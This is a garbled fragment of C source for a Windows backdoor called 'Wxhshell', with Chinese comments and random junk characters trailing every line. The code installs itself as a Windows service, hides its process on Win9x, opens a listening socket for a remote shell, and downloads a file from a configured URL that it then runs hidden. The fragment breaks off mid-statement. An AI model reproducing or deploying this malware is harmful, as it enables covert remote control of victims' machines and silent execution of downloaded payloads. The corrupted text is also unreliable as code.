ULONG InheritedFromUniqueProcessId; G !1- 20
} PROCESS_BASIC_INFORMATION; f'FY<ed<w
V@>?lv(\
PROCNTQSIP NtQueryInformationProcess; NJUYeim;
dGIu0\J\$
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <zZAVGb4I
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; CX':nai
Tc:W=\ <
HANDLE hProcess; -|[_j$g
PROCESS_BASIC_INFORMATION pbi; CG9X3%xO%
)[oU|!@
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <O5;w
if(NULL == hInst ) return 0; RMC|(Q<
` N(.10~
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8<n8joO0
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9,`mH0jP
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2+=|!+f
MVt#n\_BZV
if (!NtQueryInformationProcess) return 0; 0*3 <}
JF{,;&sj
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A ws#>l<
if(!hProcess) return 0; 9^a>U(,
k|A!5A2
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]Vb#(2<2
iqy}|xAU
CloseHandle(hProcess); !a~x|pjJ
4
>&%-BhN
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Qlb@A z
if(hProcess==NULL) return 0; *|t]6!aVLS
ynOp7ZN$
HMODULE hMod; 1r~lh#_8
char procName[255]; l7s=b4}c
unsigned long cbNeeded; k 5 "3*
Ka_UVKwMro
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G)#
,39P
R1Pnj
CloseHandle(hProcess); S_bay8L1
@0
-B&w
if(strstr(procName,"services")) return 1; // 以服务启动 -m|b2g}"3
rG\m]C3 E
return 0; // 注册表启动 CzvlZDo
} m/eGnv;!
On'3K+(_
// 主模块 6km
u'vw
int StartWxhshell(LPSTR lpCmdLine) fykN\b
{ x *qef_Hu
SOCKET wsl; xh-[]Jz(
BOOL val=TRUE; s`#hk^{
int port=0; :/~vaCZ
struct sockaddr_in door; *0c
}`|
:W1,s53
if(wscfg.ws_autoins) Install(); ;*Rajq
NWAF4i&$
port=atoi(lpCmdLine); \B}W(^\wg;
c<DYk f
if(port<=0) port=wscfg.ws_port; Ra{B8)Q
COHJJONR
WSADATA data; dlT\VWMha(
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c hd${
j
}MIH{CMH
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 6\TstY3
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :.35pp,0
door.sin_family = AF_INET; ("lcL2Bq
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Vbj?:29A
door.sin_port = htons(port); PzV(e)~7
'^/E2+
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Bw_Ih|y,w
closesocket(wsl); &)X<yd0
return 1; <rC#1wR4
} wP8R=T
<`r+l5
if(listen(wsl,2) == INVALID_SOCKET) { KPR{5
closesocket(wsl); *z+\yfOO"
return 1; 6pLwwZD
} :mJM=FeJ
Wxhshell(wsl); $U8ap4EXM
WSACleanup(); j2P|cBXu
+%<Jr<~W
return 0; ;9I#>u
v
PGuEfz
} K[kmfXKu
OeAPBhTmFj
// 以NT服务方式启动 z9+94<J
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D/:)rj14b
{ }cPV_^{
DWORD status = 0; {``}TsN
DWORD specificError = 0xfffffff; ?+|tPjg$
Bjo&
serviceStatus.dwServiceType = SERVICE_WIN32; 0ay!tS
dN
serviceStatus.dwCurrentState = SERVICE_START_PENDING; b?Jm)
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -$0S#/)Z
serviceStatus.dwWin32ExitCode = 0; (mD]}{>
serviceStatus.dwServiceSpecificExitCode = 0; SW; bE
serviceStatus.dwCheckPoint = 0; ]rN fr-
serviceStatus.dwWaitHint = 0; +[qkG.
O
L_.}z)S[\
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K%gFD?{^q
if (hServiceStatusHandle==0) return; b>7ts_b
|M?HdxPa
status = GetLastError(); @\h(s#sn
if (status!=NO_ERROR) 3LxJ}>]TO
{ }O>Zu[8a
serviceStatus.dwCurrentState = SERVICE_STOPPED; ;VuB8cnL`
serviceStatus.dwCheckPoint = 0; os.x|R]_
serviceStatus.dwWaitHint = 0; CC09:L?
serviceStatus.dwWin32ExitCode = status; eLTNnz
serviceStatus.dwServiceSpecificExitCode = specificError; BE+YqT
SetServiceStatus(hServiceStatusHandle, &serviceStatus); YHA[PF
return; sy`s$Ed!
} +|H'Ij$
~ZNhU;%YW
serviceStatus.dwCurrentState = SERVICE_RUNNING; y?JbJ
serviceStatus.dwCheckPoint = 0; &7W6IM
serviceStatus.dwWaitHint = 0; EsWszpRqb
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g.]'0)DMW
} MYPcH\K$h
.UYpPuAkn
// 处理NT服务事件,比如:启动、停止 [>:gwl
_\
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8$vH&HdI
{ 3?XLHMxW
switch(fdwControl) e||_j
{ %OtW\T=u
case SERVICE_CONTROL_STOP: ]03ZrZ!
PM
serviceStatus.dwWin32ExitCode = 0; cR&xl^BJ
serviceStatus.dwCurrentState = SERVICE_STOPPED; KwHOV$lD;
serviceStatus.dwCheckPoint = 0; $G_<YVXcG
serviceStatus.dwWaitHint = 0; :acQK=fe
{ 1A)~Y
SetServiceStatus(hServiceStatusHandle, &serviceStatus); uUe\[-~
} G8s`<:9*
return; 0/6&2
case SERVICE_CONTROL_PAUSE: ]]Z,Qu#<-
serviceStatus.dwCurrentState = SERVICE_PAUSED; 8bGq"!w-
break; C|I
1 m
case SERVICE_CONTROL_CONTINUE: AWDjj\Q4
serviceStatus.dwCurrentState = SERVICE_RUNNING; >gZz`CH
break; J:u|8>;
case SERVICE_CONTROL_INTERROGATE: U %ESuq#
break; cP1jw%3P
}; k:TfE6JZ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); SRTpE,
} #{M
-3
}$)<k
// 标准应用程序主函数 *Vl
=PNn-
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jvV8`BQ{
{ yd72y'zi
Wj:QC<5
v
// 获取操作系统版本 a
98
OsIsNt=GetOsVer(); ' XF`&3i
GetModuleFileName(NULL,ExeFile,MAX_PATH); *[H+8/n_
XOCau.#
// 从命令行安装 c-.>C)
if(strpbrk(lpCmdLine,"iI")) Install(); #H[4?4r
_PM<25Y,@
// 下载执行文件 [&CM-`
N
if(wscfg.ws_downexe) { a~*V
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hwzUCh 5!
WinExec(wscfg.ws_filenam,SW_HIDE); g#4gGhI
} #:|Y(,c
aAri
if(!OsIsNt) { `0i3"06lr
// 如果时win9x,隐藏进程并且设置为注册表启动
@__;RVQ
HideProc(); Nd_@J&
StartWxhshell(lpCmdLine); `I8^QcP
} ymZ/(:3_
else {+2cRr.
if(StartFromService()) tTGK25&